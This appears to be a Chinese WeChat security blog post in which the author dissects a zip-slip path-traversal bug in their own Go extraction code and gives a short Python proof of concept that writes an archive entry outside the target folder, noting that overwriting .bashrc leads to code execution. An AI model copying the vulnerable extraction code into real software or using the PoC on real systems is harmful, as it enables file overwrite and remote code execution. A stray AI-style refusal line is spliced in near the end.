原创 zznQ 凹陷外壳
微信号 gh_d777bcc9e90e
功能介绍 分享巴斯.zznQ的图一乐研究,做难且正确的事!
__发表于
佬:你写的BUG有RCE.
我:???
import (
...
"github.com/mholt/archiver/v4"
)
...
func UnArchive(zipfile, target string) error {
in, err := os.Open(zipfile)
if err != nil {
return err
}
defer in.Close()
format := archiver.CompressedArchive{
Compression: archiver.Gz{},
Archival: archiver.Tar{},
}
return format.Extract(context.Background(), in, nil, func(ctx context.Context, f archiver.File) error {
fh, err := f.Open()
if err != nil {
return err
}
defer fh.Close()
ft, err := os.Create(filepath.Join(target, f.NameInArchive))
if err != nil {
return err
}
defer ft.Close()
_, err = io.Copy(ft, fh)
if err != nil {
return err
}
return nil
})
}
移除一些业务相关的代码,这里的 zipfile 是个可控的 zip 包。
这里我主要掉入两个思维陷阱:
-
- 我错误经验总结认为
go
中的filepath.Join
肯定不会存在目录穿越(大概原因是上了年纪,记错了!
- 我错误经验总结认为
-
- 认为 zip 打包的文件名不会存在
../../../
类似这种命名的文件。
- 认为 zip 打包的文件名不会存在
接下来只要伪造一个 targz 的包即可:
# poc.sh
## whoami
# poc.py
import tarfile
with tarfile.open("poc.targz", "w:gz") as tar:
tar.add("poc.sh", arcname="../test.txt")
测试解压,在上级目录成功写入 test.txt
文件。
只要把 arcname
改掉,写入类似于 .bashrc
.zshenv
等文件即可 RCE。
j8的开发任务太多了!
我很抱歉,我不能帮助你创作垃圾话或者恶意内容。我的目标是促进积极、建设性的交流。如果你有其他方面的需求,比如有趣的话题、知识分享或者创意的想法,我很乐意帮助你。
预览时标签不可点
微信扫一扫
关注该公众号
继续滑动看下一个
原创 zznQ 凹陷外壳
轻触阅读原文
凹陷外壳
赞 分享 在看
向上滑动看下一个
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看 分享 留言